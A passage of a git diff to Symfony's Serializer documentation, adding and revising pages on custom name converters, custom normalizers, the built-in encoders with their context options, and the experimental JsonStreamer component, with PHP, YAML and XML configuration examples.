YAML. For that you'll have to -create your own encoder that uses the -:doc:`Yaml Component </components/yaml>`:: - - namespace App\Serializer; - - use Symfony\Component\Serializer\Encoder\DecoderInterface; - use Symfony\Component\Serializer\Encoder\EncoderInterface; - use Symfony\Component\Yaml\Yaml; - - class YamlEncoder implements EncoderInterface, DecoderInterface - { - public function encode($data, $format, array $context = []) - { - return Yaml::dump($data); - } - - public function supportsEncoding($format) - { - return 'yaml' === $format; - } - - public function decode($data, $format, array $context = []) - { - return Yaml::parse($data); - } - - public function supportsDecoding($format) - { - return 'yaml' === $format; - } - } - -.. tip:: - - If you need access to ``$context`` in your ``supportsDecoding`` or - ``supportsEncoding`` method, make sure to implement - ``Symfony\Component\Serializer\Encoder\ContextAwareDecoderInterface`` - or ``Symfony\Component\Serializer\Encoder\ContextAwareEncoderInterface`` accordingly. - - -Registering it in your app --------------------------- - -If you use the Symfony Framework. then you probably want to register this encoder -as a service in your app. If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`, -that's done automatically! - -.. tip:: - - If you're not using :ref:`autoconfigure <service_autoconfigure>`, make sure - to register your class as a service and tag it with ``serializer.encoder``. - -Now you'll be able to serialize and deserialize YAML! diff --git a/serializer/custom_name_converter.rst b/serializer/custom_name_converter.rst new file mode 100644 index 00000000000..49dafb02cc4 --- /dev/null +++ b/serializer/custom_name_converter.rst @@ -0,0 +1,112 @@ +How to Create your Custom Name Converter +======================================== + +The Serializer Component uses :ref:`name converters <serializer-name-conversion>` +to transform the attribute names (e.g. from snake_case in JSON to CamelCase +for PHP properties). + +Imagine you have the following object:: + + namespace App\Model; + + class Company + { + public string $name; + public string $address; + } + +And in the serialized form, all attributes must be prefixed by ``org_`` like +the following: + +.. code-block:: json + + {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"} + +A custom name converter can handle such cases:: + + namespace App\Serializer; + + use Symfony\Component\Serializer\NameConverter\NameConverterInterface; + + class OrgPrefixNameConverter implements NameConverterInterface + { + public function normalize(string $propertyName, ?string $class = null, ?string $format = null, array $context = []): string + { + // during normalization, add the prefix + return 'org_'.$propertyName; + } + + public function denormalize(string $propertyName, ?string $class = null, ?string $format = null, array $context = []): string + { + // remove the 'org_' prefix on denormalizing + return str_starts_with($propertyName, 'org_') ? substr($propertyName, 4) : $propertyName; + } + } + +.. versionadded:: 7.1 + + Accessing the current class name, format and context via + :method:`Symfony\\Component\\Serializer\\NameConverter\\NameConverterInterface::normalize` + and :method:`Symfony\\Component\\Serializer\\NameConverter\\NameConverterInterface::denormalize` + was introduced in Symfony 7.1. + +.. note:: + + You can also implement + :class:`Symfony\\Component\\Serializer\\NameConverter\\AdvancedNameConverterInterface` + to access the current class name, format and context. + +Then, configure the serializer to use your name converter: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/serializer.yaml + framework: + serializer: + # pass the service ID of your name converter + name_converter: 'App\Serializer\OrgPrefixNameConverter' + + .. code-block:: xml + + <!-- config/packages/serializer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <!-- pass the service ID of your name converter --> + <framework:serializer + name-converter="App\Serializer\OrgPrefixNameConverter" + /> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/serializer.php + use App\Serializer\OrgPrefixNameConverter; + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework) { + $framework->serializer() + // pass the service ID of your name converter + ->nameConverter(OrgPrefixNameConverter::class) + ; + }; + +Now, when using the serializer in the application, all attributes will be +prefixed by ``org_``:: + + // ... + $company = new Company('Acme Inc.', '123 Main Street, Big City'); + + $json = $serializer->serialize($company, 'json'); + // {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"} + $companyCopy = $serializer->deserialize($json, Company::class, 'json'); + // Same data as $company diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst index 9893db60488..4e78d9d394e 100644 --- a/serializer/custom_normalizer.rst +++ b/serializer/custom_normalizer.rst @@ -1,13 +1,11 @@ -.. index:: - single: Serializer; Custom normalizers - How to Create your Custom Normalizer ==================================== -The :doc:`Serializer component </components/serializer>` uses -normalizers to transform any data into an array. The component provides several -:doc:`built-in normalizers </serializer/normalizers>` but you may need to create -your own normalizer to transform an unsupported data structure. +The :doc:`Serializer component </serializer>` uses normalizers to transform +any data into an array. The component provides several +:ref:`built-in normalizers <serializer-built-in-normalizers>` but you may +need to create your own normalizer to transform an unsupported data +structure. Creating a New Normalizer ------------------------- @@ -15,42 +13,52 @@ Creating a New Normalizer Imagine you want add, modify, or remove some properties during the serialization process. For that you'll have to create your own normalizer. But it's usually preferable to let Symfony normalize the object, then hook into the normalization -to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:: +to customize the normalized data. To do that, you can inject a +``NormalizerInterface`` and wire it to Symfony's object normalizer. This will give +you access to a ``$normalizer`` property which takes care of most of the +normalization process:: + // src/Serializer/TopicNormalizer.php namespace App\Serializer; use App\Entity\Topic; + use Symfony\Component\DependencyInjection\Attribute\Autowire; use Symfony\Component\Routing\Generator\UrlGeneratorInterface; - use Symfony\Component\Serializer\Normalizer\ContextAwareNormalizerInterface; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; + use Symfony\Component\Serializer\Normalizer\NormalizerInterface; - class TopicNormalizer implements ContextAwareNormalizerInterface + class TopicNormalizer implements NormalizerInterface { - private $router; - private $normalizer; + public function __construct( + #[Autowire(service: 'serializer.normalizer.object')] + private readonly NormalizerInterface $normalizer, - public function __construct(UrlGeneratorInterface $router, ObjectNormalizer $normalizer) - { - $this->router = $router; - $this->normalizer = $normalizer; + private UrlGeneratorInterface $router, + ) { } - public function normalize($topic, string $format = null, array $context = []) + public function normalize(mixed $data, ?string $format = null, array $context = []): array { - $data = $this->normalizer->normalize($topic, $format, $context); + $normalizedData = $this->normalizer->normalize($data, $format, $context); // Here, add, edit, or delete some data: - $data['href']['self'] = $this->router->generate('topic_show', [ - 'id' => $topic->getId(), + $normalizedData['href']['self'] = $this->router->generate('topic_show', [ + 'id' => $data->getId(), ], UrlGeneratorInterface::ABSOLUTE_URL); - return $data; + return $normalizedData; } - public function supportsNormalization($data, string $format = null, array $context = []) + public function supportsNormalization($data, ?string $format = null, array $context = []): bool { return $data instanceof Topic; } + + public function getSupportedTypes(?string $format): array + { + return [ + Topic::class => true, + ]; + } } Registering it in your Application @@ -60,3 +68,110 @@ Before using this normalizer in a Symfony application it must be registered as a service and :doc:`tagged </service_container/tags>` with ``serializer.normalizer``. If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`, this is done automatically! + +If you're not using ``autoconfigure``, you have to tag the service with +``serializer.normalizer``. You can also use this method to set a priority +(higher means it's called earlier in the process): + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + # ... + + App\Serializer\TopicNormalizer: + tags: + # register the normalizer with a high priority (called earlier) + - { name: 'serializer.normalizer', priority: 500 } + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <!-- ... --> + + <service id="App\Serializer\TopicNormalizer"> + <!-- register the normalizer with a high priority (called earlier) --> + <tag name="serializer.normalizer" + priority="500" + /> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use App\Serializer\TopicNormalizer; + + return function(ContainerConfigurator $container) { + // ... + + // if you're using autoconfigure, the tag will be automatically applied + $services->set(TopicNormalizer::class) + // register the normalizer with a high priority (called earlier) + ->tag('serializer.normalizer', [ + 'priority' => 500, + ]) + ; + }; + +Improving Performance of Normalizers/Denormalizers +-------------------------------------------------- + +Both :class:Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface +and :class:Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface +define a ``getSupportedTypes()`` method to declare which types they support and +whether their ``supports*()`` result can be cached. + +This **does not** cache the actual normalization or denormalization result. It +only **caches the decision** of whether a normalizer supports a given type, allowing +the Serializer to skip unnecessary ``supports*()`` calls and improve performance. + +The ``getSupportedTypes()`` method should return an array where the keys +represent the supported types, and the values indicate whether the result of the +corresponding ``supports*()`` call can be cached. The array format is as follows: + +#. The special key ``object`` can be used to indicate that the normalizer or + denormalizer supports any classes or interfaces. +#. The special key ``*`` can be used to indicate that the normalizer or + denormalizer might support any type. +#. Other keys should correspond to specific types that the normalizer or + denormalizer supports. +#. The values should be booleans indicating whether the result of the + ``supports*()`` call for that type is cacheable. Use ``true`` if the result + can be cached, ``false`` if it cannot. +#. A ``null`` value means the normalizer or denormalizer does not support that type. + +Here is an example of how to use the ``getSupportedTypes()`` method:: + + use Symfony\Component\Serializer\Normalizer\NormalizerInterface; + + class MyNormalizer implements NormalizerInterface + { + // ... + + public function getSupportedTypes(?string $format): array + { + return [ + 'object' => null, // doesn't support any classes or interfaces + '*' => false, // supports any other types, but the decision is not cacheable + MyCustomClass::class => true, // supports MyCustomClass and decision is cacheable + ]; + } + } + +.. note:: + + The ``supports*()`` method implementations should not assume that + ``getSupportedTypes()`` has been called before. diff --git a/serializer/encoders.rst b/serializer/encoders.rst new file mode 100644 index 00000000000..8238d4d057d --- /dev/null +++ b/serializer/encoders.rst @@ -0,0 +1,378 @@ +Serializer Encoders +=================== + +The Serializer component provides several built-in encoders: + +:class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder` + This class encodes and decodes data in `JSON`_. + +:class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder` + This class encodes and decodes data in `XML`_. + +:class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder` + This encoder encodes and decodes data in `YAML`_. This encoder requires the + :doc:`Yaml Component </components/yaml>`. + +:class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder` + This encoder encodes and decodes data in `CSV`_. + +.. note:: + + You can also create your own encoder to use another structure. Read more at + :ref:`Creating a Custom Encoder <serializer-custom-encoder>` below. + +All these encoders are enabled by default when using the Serializer component +in a Symfony application. + +The ``JsonEncoder`` +------------------- + +The ``JsonEncoder`` encodes to and decodes from JSON strings, based on the PHP +:phpfunction:`json_encode` and :phpfunction:`json_decode` functions. + +It can be useful to modify how these functions operate in certain instances +by providing options such as ``JSON_PRESERVE_ZERO_FRACTION``. You can use +the serialization context to pass in these options using the key +``json_encode_options`` or ``json_decode_options`` respectively:: + + $this->serializer->serialize($data, 'json', [ + 'json_encode_options' => \JSON_PRESERVE_ZERO_FRACTION, + ]); + +All context options available for the JSON encoder are: + +``json_decode_associative`` (default: ``false``) + If set to ``true`` returns the result as an array, returns a nested ``stdClass`` hierarchy otherwise. +``json_decode_detailed_errors`` (default: ``false``) + If set to ``true`` exceptions thrown on parsing of JSON are more specific. Requires `seld/jsonlint`_ package. +``json_decode_options`` (default: ``0``) + Flags passed to :phpfunction:`json_decode` function. +``json_encode_options`` (default: ``\JSON_PRESERVE_ZERO_FRACTION``) + Flags passed to :phpfunction:`json_encode` function. +``json_decode_recursion_depth`` (default: ``512``) + Sets maximum recursion depth. + +The ``CsvEncoder`` +------------------ + +The ``CsvEncoder`` encodes to and decodes from CSV. Serveral :ref:`context options <serializer-context>` +are available to customize the behavior of the encoder: + +``csv_delimiter`` (default: ``,``) + Sets the field delimiter separating values (one character only). +``csv_enclosure`` (default: ``"``) + Sets the field enclosure (one character only). +``csv_end_of_line`` (default: ``\n``) + Sets the character(s) used to mark the end of each line in the CSV file. +``csv_escape_char`` (default: empty string) + + .. deprecated:: 7.2 + + The ``csv_escape_char`` option was deprecated in Symfony 7.2. + + Sets the escape character (at most one character). +``csv_key_separator`` (default: ``.``) + Sets the separator for array's keys during its flattening +``csv_headers`` (default: ``[]``, inferred from input data's keys) + Sets the order of the header and data columns. + E.g. if you set it to ``['a', 'b', 'c']`` and serialize + ``['c' => 3, 'a' => 1, 'b' => 2]``, the order will be ``a,b,c`` instead + of the input order (``c,a,b``). +``csv_escape_formulas`` (default: ``false``) + Escapes fields containing formulas by prepending them with a ``\t`` character. +``as_collection`` (default: ``true``) + Always returns results as a collection, even if only one line is decoded. +``no_headers`` (default: ``false``) + Setting to ``false`` will use first row as headers when denormalizing, + ``true`` generates numeric headers. +``output_utf8_bom`` (default: ``false``) + Outputs special `UTF-8 BOM`_ along with encoded data. + +The ``XmlEncoder`` +------------------ + +This encoder transforms PHP values into XML and vice versa. + +For example, take an object that is normalized as following:: + + $normalizedArray = ['foo' => [1, 2], 'bar' => true]; + +The ``XmlEncoder`` will encode this object like: + +.. code-block:: xml + + <?xml version="1.0" encoding="UTF-8" ?> + <response> + <foo>1</foo> + <foo>2</foo> + <bar>1</bar> + </response> + +The special ``#`` key can be used to define the data of a node:: + + ['foo' => ['@bar' => 'value', '#' => 'baz']]; + + /* is encoded as follows: + <?xml version="1.0"?> + <response> + <foo bar="value"> + baz + </foo> + </response> + */ + +Furthermore, keys beginning with ``@`` will be considered attributes, and +the key ``#comment`` can be used for encoding XML comments:: + + $encoder = new XmlEncoder(); + $xml = $encoder->encode([ + 'foo' => ['@bar' => 'value'], + 'qux' => ['#comment' => 'A comment'], + ], 'xml'); + /* will return: + <?xml version="1.0"?> + <response> + <foo bar="value"/> + <qux><!-- A comment --!><qux> + </response> + */ + +You can pass the context key ``as_collection`` in order to have the results +always as a collection. + +.. note:: + + You may need to add some attributes on the root node:: + + $encoder = new XmlEncoder(); + $encoder->encode([ + '@attribute1' => 'foo', + '@attribute2' => 'bar', + '#' => ['foo' => ['@bar' => 'value', '#' => 'baz']] + ], 'xml'); + + // will return: + // <?xml version="1.0"?> + // <response attribute1="foo" attribute2="bar"> + // <foo bar="value">baz</foo> + // </response> + +.. tip:: + + XML comments are ignored by default when decoding contents, but this + behavior can be changed with the optional context key ``XmlEncoder::DECODER_IGNORED_NODE_TYPES``. + + Data with ``#comment`` keys are encoded to XML comments by default. This can be + changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES`` + key of the ``$defaultContext`` of the ``XmlEncoder`` constructor or + directly to the ``$context`` argument of the ``encode()`` method:: + + $xmlEncoder->encode($array, 'xml', [XmlEncoder::ENCODER_IGNORED_NODE_TYPES => [\XML_COMMENT_NODE]]); + +The ``XmlEncoder`` Context Options +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +These are the options available on the :ref:`serializer context <serializer-context>`: + +``xml_format_output`` (default: ``false``) + If set to true, formats the generated XML with line breaks and indentation. +``xml_version`` (default: ``1.0``) + Sets the XML version attribute. +``xml_encoding`` (default: ``utf-8``) + Sets the XML encoding attribute. +``xml_standalone`` (default: ``true``) + Adds standalone attribute in the generated XML. +``xml_type_cast_attributes`` (default: ``true``) + This provides the ability to forget the attribute type casting. +``xml_root_node_name`` (default: ``response``) + Sets the root node name. +``as_collection`` (default: ``false``) + Always returns results as a collection, even if only one line is decoded. +``decoder_ignored_node_types`` (default: ``[\XML_PI_NODE, \XML_COMMENT_NODE]``) + Array of node types (`DOM XML_* constants`_) to be ignored while decoding. +``encoder_ignored_node_types`` (default: ``[]``) + Array of node types (`DOM XML_* constants`_) to be ignored while encoding. +``load_options`` (default: ``\LIBXML_NONET | \LIBXML_NOBLANKS``) + XML loading `options with libxml`_. +``save_options`` (default: ``0``) + XML saving `options with libxml`_. +``remove_empty_tags`` (default: ``false``) + If set to ``true``, removes all empty tags in the generated XML. +``cdata_wrapping`` (default: ``true``) + If set to ``false``, will not wrap any value containing one of the + following characters ( ``<``, ``>``, ``&``) in `a CDATA section`_ like + following: ``<![CDATA[...]]>``. +``cdata_wrapping_pattern`` (default: ``/[<>&]/``) + A regular expression pattern to determine if a value should be wrapped + in a CDATA section. +``ignore_empty_attributes`` (default: ``false``) + If set to true, ignores all attributes with empty values in the generated XML + +.. versionadded:: 7.1 + + The ``cdata_wrapping_pattern`` option was introduced in Symfony 7.1. + +.. versionadded:: 7.3 + + The ``ignore_empty_attributes`` option was introduced in Symfony 7.3. + +Example with a custom ``context``:: + + use Symfony\Component\Serializer\Encoder\XmlEncoder; + + $data = [ + 'id' => 'IDHNQIItNyQ', + 'date' => '2019-10-24', + ]; + + $xmlEncoder->encode($data, 'xml', ['xml_format_output' => true]); + // outputs: + // <?xml version="1.0"?> + // <response> + // <id>IDHNQIItNyQ</id> + // <date>2019-10-24</date> + // </response> + + $xmlEncoder->encode($data, 'xml', [ + 'xml_format_output' => true, + 'xml_root_node_name' => 'track', + 'encoder_ignored_node_types' => [ + \XML_PI_NODE, // removes XML declaration (the leading xml tag) + ], + ]); + // outputs: + // <track> + // <id>IDHNQIItNyQ</id> + // <date>2019-10-24</date> + // </track> + +The ``YamlEncoder`` +------------------- + +This encoder requires the :doc:`Yaml Component </components/yaml>` and +transforms from and to Yaml. + +Like other encoder, several :ref:`context options <serializer-context>` are +available: + +``yaml_inline`` (default: ``0``) + The level where you switch to inline YAML. +``yaml_indent`` (default: ``0``) + The level of indentation (used internally). +``yaml_flags`` (default: ``0``) + A bit field of ``Yaml::DUMP_*``/``Yaml::PARSE_*`` constants to + customize the encoding/decoding YAML string. + +.. _serializer-custom-encoder: + +Creating a Custom Encoder +------------------------- + +Imagine you want to serialize and deserialize `NEON`_. For that you'll have to +create your own encoder:: + + // src/Serializer/NeonEncoder.php + namespace App\Serializer; + + use Nette\Neon\Neon; + use Symfony\Component\Serializer\Encoder\DecoderInterface; + use Symfony\Component\Serializer\Encoder\EncoderInterface; + + class NeonEncoder implements EncoderInterface, DecoderInterface + { + public function encode($data, string $format, array $context = []) + { + return Neon::encode($data); + } + + public function supportsEncoding(string $format) + { + return 'neon' === $format; + } + + public function decode(string $data, string $format, array $context = []) + { + return Neon::decode($data); + } + + public function supportsDecoding(string $format) + { + return 'neon' === $format; + } + } + +.. tip:: + + If you need access to ``$context`` in your ``supportsDecoding`` or + ``supportsEncoding`` method, make sure to implement + ``Symfony\Component\Serializer\Encoder\ContextAwareDecoderInterface`` + or ``Symfony\Component\Serializer\Encoder\ContextAwareEncoderInterface`` accordingly. + +Registering it in Your App +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you use the Symfony Framework, then you probably want to register this encoder +as a service in your app. If you're using the +:ref:`default services.yaml configuration <service-container-services-load-example>`, +that's done automatically! + +If you're not using :ref:`autoconfigure <services-autoconfigure>`, make sure +to register your class as a service and tag it with +:ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + # ... + + App\Serializer\NeonEncoder: + tags: ['serializer.encoder'] + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <!-- ... --> + + <service id="App\Serializer\NeonEncoder"> + <tag name="serializer.encoder"/> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use App\Serializer\NeonEncoder; + + return function(ContainerConfigurator $container) { + // ... + + $services->set(NeonEncoder::class) + ->tag('serializer.encoder') + ; + }; + +Now you'll be able to serialize and deserialize NEON! + +.. _JSON: https://www.json.org/json-en.html +.. _XML: https://www.w3.org/XML/ +.. _YAML: https://yaml.org/ +.. _CSV: https://tools.ietf.org/html/rfc4180 +.. _seld/jsonlint: https://github.com/Seldaek/jsonlint +.. _`UTF-8 BOM`: https://en.wikipedia.org/wiki/Byte_order_mark +.. _`DOM XML_* constants`: https://www.php.net/manual/en/dom.constants.php +.. _`options with libxml`: https://www.php.net/manual/en/libxml.constants.php +.. _`a CDATA section`: https://en.wikipedia.org/wiki/CDATA +.. _NEON: https://ne-on.org/ diff --git a/serializer/normalizers.rst b/serializer/normalizers.rst deleted file mode 100644 index 002cc02a433..00000000000 --- a/serializer/normalizers.rst +++ /dev/null @@ -1,53 +0,0 @@ -.. index:: - single: Serializer, Normalizers - -Normalizers -=========== - -Normalizers turn **objects** into **arrays** and vice versa. They implement -:class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface` for -normalizing (object to array) and -:class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface` for -denormalizing (array to object). - -Normalizers are enabled in the serializer passing them as its first argument:: - - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - $normalizers = [new ObjectNormalizer()]; - $serializer = new Serializer($normalizers); - -Built-in Normalizers --------------------- - -Symfony includes the following normalizers but you can also -:doc:`create your own normalizer </serializer/custom_normalizer>`: - -* :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer` to - normalize PHP object using the :doc:`PropertyAccessor component </components/property_access>`; -* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer` - for :phpclass:`DateTimeZone` objects -* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` for - objects implementing the :phpclass:`DateTimeInterface` interface -* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer` - for :phpclass:`DateInterval` objects -* :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer` to - transform :phpclass:`SplFileInfo` objects in `Data URIs`_ -* :class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer` to - normalize PHP object using an object that implements -* :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer` for - objects implementing the :class:`Symfony\\Component\\Form\\FormInterface` to - normalize form errors. - :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`; -* :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer` to - normalize PHP object using the getter and setter methods of the object; -* :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer` to - normalize PHP object using `PHP reflection`_. -* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` for objects implementing the :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` interface -* :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer` for :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException` objects -* :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer` - to deal with objects implementing the :phpclass:`JsonSerializable` interface - -.. _`Data URIs`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs -.. _`PHP reflection`: https://php.net/manual/en/book.reflection.php diff --git a/serializer/streaming_json.rst b/serializer/streaming_json.rst new file mode 100644 index 00000000000..3fd44824bc6 --- /dev/null +++ b/serializer/streaming_json.rst @@ -0,0 +1,664 @@ +Streaming JSON +============== + +.. versionadded:: 7.3 + + The JsonStreamer component was introduced in Symfony 7.3 as an + :doc:`experimental feature </contributing/code/experimental>`. + +Symfony can encode PHP data structures to JSON streams and decode JSON streams +back into PHP data structures. + +To do so, it relies on the **JsonStreamer** component, which is designed for +high efficiency and can process large JSON data incrementally without needing +to load the entire content into memory. + +This component is ideal for handling APIs or interacting with third-party APIs. +It transforms incoming JSON request payloads into PHP objects that your +application can work with. Similarly, it converts processed PHP objects into a +JSON stream for outgoing responses. + +Installation +------------ + +In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to +install the JsonStreamer component: + +.. code-block:: terminal + + $ composer require symfony/json-streamer + +.. include:: /components/require_autoload.rst.inc + +Encoding Objects +---------------- + +JsonStreamer only works with PHP classes that have **no constructor** and are +composed solely of **public properties**, like `DTO classes`_. Consider the +following ``Cat`` class:: + + // src/Dto/Cat.php + namespace App\Dto; + + class Cat + { + public string $name; + public string $age; + } + +To encode ``Cat`` objects into a JSON stream (e.g., to send them in an API +response), first apply the ``#[JsonStreamable]`` attribute to the class. This +attribute is optional, but it :ref:`improves performance <json-streamer-streamable-attribute>` +by pre-generating encoding and decoding files during cache warm-up:: + + namespace App\Dto; + + use Symfony\Component\JsonStreamer\Attribute\JsonStreamable; + + #[JsonStreamable] + class Cat + { + // ... + } + +Next, inject the JSON stream writer into your service. The service ``id`` is +``json_streamer.stream_writer``, but you can also get it by type-hinting a +``$jsonStreamWriter`` argument with :class:`Symfony\\Component\\JsonStreamer\\StreamWriterInterface`. + +Use the :method:`Symfony\\Component\\JsonStreamer\\StreamWriterInterface::write` +method of the service to perform the actual JSON conversion: + +.. configuration-block:: + + .. code-block:: php-symfony + + // src/Controller/CatController.php + namespace App\Controller; + + use App\Dto\Cat; + use App\Repository\CatRepository; + use Symfony\Component\HttpFoundation\StreamedResponse; + use Symfony\Component\JsonStreamer\StreamWriterInterface; + use Symfony\Component\TypeInfo\Type; + + class CatController + { + public function retrieveCats(StreamWriterInterface $jsonStreamWriter, CatRepository $catRepository): StreamedResponse + { + $cats = $catRepository->findAll(); + $type = Type::list(Type::object(Cat::class)); + + $json = $jsonStreamWriter->write($cats, $type); + + return new StreamedResponse($json); + } + } + + .. code-block:: php-standalone + + use App\Dto\Cat; + use App\Repository\CatRepository; + use Symfony\Component\HttpFoundation\StreamedResponse; + use Symfony\Component\JsonStreamer\JsonStreamWriter; + use Symfony\Component\TypeInfo\Type; + + // ... + + $jsonWriter = JsonStreamWriter::create(); + + $cats = $catRepository->findAll(); + $type = Type::list(Type::object(Cat::class)); + + $json = $jsonWriter->write($cats, $type); + + $response = new StreamedResponse($json); + + // ... + +.. tip:: + + You can explicitly inject the ``json_streamer.stream_writer`` service by + using the ``#[Target('json_streamer.stream_writer')]`` autowire attribute. + +Decoding Objects +---------------- + +In addition to encoding, you can decode JSON into PHP objects. + +To do this, inject the JSON stream reader into your service. The service ``id`` is +``json_streamer.stream_reader``, but you can also get it by type-hinting a +``$jsonStreamReader`` argument with :class:`Symfony\\Component\\JsonStreamer\\StreamReaderInterface`. +Next, use the :method:`Symfony\\Component\\JsonStreamer\\StreamReaderInterface::read` +method to perform the actual JSON parsing: + +.. configuration-block:: + + .. code-block:: php-symfony + + // src/Service/TombolaService.php + namespace App\Service; + + use App\Dto\Cat; + use Symfony\Component\DependencyInjection\Attribute\Autowire; + use Symfony\Component\JsonStreamer\StreamReaderInterface; + use Symfony\Component\TypeInfo\Type; + + class TombolaService + { + private string $catsJsonFile; + + public function __construct( + private StreamReaderInterface $jsonStreamReader, + #[Autowire(param: 'kernel.root_dir')] + string $rootDir, + ) { + $this->catsJsonFile = sprintf('%s/var/cats.json', $rootDir); + } + + public function pickTheTenthCat(): ?Cat + { + $jsonResource = fopen($this->catsJsonFile, 'r'); + $type = Type::iterable(Type::object(Cat::class)); + + /** @var iterable<Cat> $cats */ + $cats = $this->jsonStreamReader->read($jsonResource, $type); + + $i = 0; + foreach ($cats as $cat) { + if ($i === 9) { + return $cat; + } + + ++$i; + } + + return null; + } + + /** + * @return list<string> + */ + public function listEligibleCatNames(): array + { + $json = file_get_contents($this->catsJsonFile); + $type = Type::iterable(Type::object(Cat::class)); + + /** @var iterable<Cat> $cats */ + $cats = $this->jsonStreamReader->read($json, $type); + + return array_map(fn(Cat $cat) => $cat->name, iterator_to_array($cats)); + } + } + + .. code-block:: php-standalone + + // src/Service/TombolaService.php + namespace App\Service; + + use App\Dto\Cat; + use Symfony\Component\JsonStreamer\JsonStreamReader; + use Symfony\Component\JsonStreamer\StreamReaderInterface; + use Symfony\Component\TypeInfo\Type; + + class TombolaService + { + private StreamReaderInterface $jsonStreamReader; + private string $catsJsonFile; + + public function __construct( + private string $catsJsonFile, + ) { + $this->jsonStreamReader = JsonStreamReader::create(); + } + + public function pickTheTenthCat(): ?Cat + { + $jsonResource = fopen($this->catsJsonFile, 'r'); + $type = Type::iterable(Type::object(Cat::class)); + + /** @var iterable<Cat> $cats */ + $cats = $this->jsonStreamReader->read($jsonResource, $type); + + $i = 0; + foreach ($cats as $cat) { + if ($i === 9) { + return $cat; + } + + ++$i; + } + + return null; + } + + /** + * @return list<string> + */ + public function listEligibleCatNames(): array + { + $json = file_get_contents($this->catsJsonFile); + $type = Type::iterable(Type::object(Cat::class)); + + /** @var iterable<Cat> $cats */ + $cats = $this->jsonStreamReader->read($json, $type); + + return array_map(fn(Cat $cat) => $cat->name, iterator_to_array($cats)); + } + } + +.. tip:: + + You can explicitly inject the ``json_streamer.stream_reader`` service by + using the ``#[Target('json_streamer.stream_reader')]`` autowire attribute. + +The examples above demonstrate two different approaches to decoding JSON data +using JsonStreamer: + +* decoding from a stream (``pickTheTenthCat``) +* decoding from a string (``listEligibleCatNames``) + +Both methods handle the same JSON data but differ in memory usage and performance. +Use streams if optimizing memory usage is more important. Use strings if +performance is more important. + +Decoding from a Stream +~~~~~~~~~~~~~~~~~~~~~~ + +In the ``pickTheTenthCat`` method, the JSON data is read as a stream using +:phpfunction:`fopen`. This is useful for large files, as the data is processed +incrementally rather than being fully loaded into memory. + +To optimize memory usage, JsonStreamer creates `ghost objects`_ instead of +fully instantiating them. These lightweight placeholders delay object creation +until the data is actually needed. + +* Advantage: Efficient memory usage, ideal for very large JSON files. +* Disadvantage: Slightly slower due to lazy loading. + +Decoding from a String +~~~~~~~~~~~~~~~~~~~~~~ + +In the ``listEligibleCatNames`` method, the entire JSON file is read into a +string using :phpfunction:`file_get_contents`. The 